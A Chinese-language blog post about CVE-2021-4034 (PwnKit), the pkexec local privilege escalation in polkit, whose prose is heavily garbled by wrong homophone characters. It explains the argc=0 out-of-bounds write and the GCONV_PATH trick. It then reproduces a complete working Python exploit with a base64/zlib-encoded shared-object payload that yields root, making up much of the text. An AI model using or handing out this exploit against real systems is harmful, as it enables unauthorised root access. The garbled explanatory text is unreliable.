共计 4773 个字符,预计需要花费 12 分钟才能阅读完成。
一、背景材料
Polkit 是一个应用程序级别的工具集,通过定义和审核权限规定,实现不同优先级过程间的通信:管制决策集中在对立的框架之中,决定低优先级过程是否有权拜访高优先级过程。
Polkit 在零碎层级进行权限管制,提供了一个低优先级过程和高优先级过程进行通信的零碎。和 sudo 等程序不同,Polkit 并没有赋予过程齐全的 root 权限,而是通过一个集中的策略零碎进行更精密的受权。
Polkit 定义出一系列操作,例如运行 GParted, 并将用户依照群组或用户名进行划分,例如 wheel 群组用户。而后定义每个操作是否能够由某些用户执行,执行操作前是否须要一些额定的确认,例如通过输出明码确认用户是不是属于某个群组。
因为 Polkit 的 Pkexec 工具中存在一处本地权限晋升破绽,以致攻击者能够通过管制环境变量,从而诱导 Pkexec 执行任意代码。利用胜利后,可导致非特权用户取得管理员权限。
二、破绽剖析
如果命令行参数 argc 的数量为 0,这意味着如果传递给 execve() 的参数列表 argv 为空,即,那么 argv[0] 将为 NULL,是参数列表的终止符,这将导致:Pkexec 代码中第 534 行,整数 n 设置为 1;第 610 行,从 argv[1] 越界读取指针门路;第 639 行,指针 s 被越界写入 argv[1];然而从这个越界的 argv[1] 中读取和写入的到底是什么呢?要答复这个问题,咱们须要晓得的是:当 execve() 一个新 program 时,kernel 将咱们的参数、环境变量字符串以及指针(argv 和 envp)复制到新 program 堆栈的开端,如下图:因为 argv 和 envp 指针在内存中是间断的,如果 argc 为 0,那么越界 argv[1] 实际上是 envp[0],即为指向咱们的第一个环境变量“value”的指针。最终导致:Pkexec 代码中第 610 行,将要执行的程序的门路从 argv[1](即 envp[0])中越界读取,并指向“value”;因为“value”不是以斜线结尾,因而进入 629 行的 if 分支,并在第 632 即将这个“value”传递给 g_find_program_in_path()
随后,g_find_program_in_path() 在 PATH 环境变量目录中搜寻一个名为“value”的可执行文件。如果找到这样的可执行文件,则将其残缺门路返回给 pkexec 的 main() 函数。最初,这个残缺门路被越界写入 argv[1](即 envp[0]),从而笼罩了咱们的第一个环境变量,见下图红框处:所以精确的说:如果咱们的 PATH 环境变量是“PATH=name”,并且如果目录“name”存在(在当前工作目录中)并且蕴含一个名为“value”的可执行文件,则写入一个指向字符串“name/value”的指针越界到 envp[0];或者说:如果咱们的 PATH 是“PATH=name=.”,并且目录是“name=.”存在并蕴含一个名为“value”的可执行文件,而后将指向字符串“name=./value”的指针越界写入 envp[0]。换言之:这种越界写入容许咱们将一个“不平安”的环境变量(例如,LD_PRELOAD)从新引入 pkexec 的环境。这些“不平安”变量通常在调用 main() 函数之前曾经被 ld.so 从 SUID 程序的环境中删除。
三、破绽复现
# https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py
#!/usr/bin/env python3
# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile
payload = zlib.decompress(
base64.b64decode("""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""")
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t
wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write("module UTF-8// INTERNAL ../pwn 2")
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
b"gconv",
b"PATH=GCONV_PATH=.",
b"LC_MESSAGES=en_US.UTF-8",
b"XAUTHORITY=../gconv",
b"",
]
cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)
成果
参考资料
https://xw.qq.com/cmsid/20220…
https://mp.weixin.qq.com/s?__…
正文完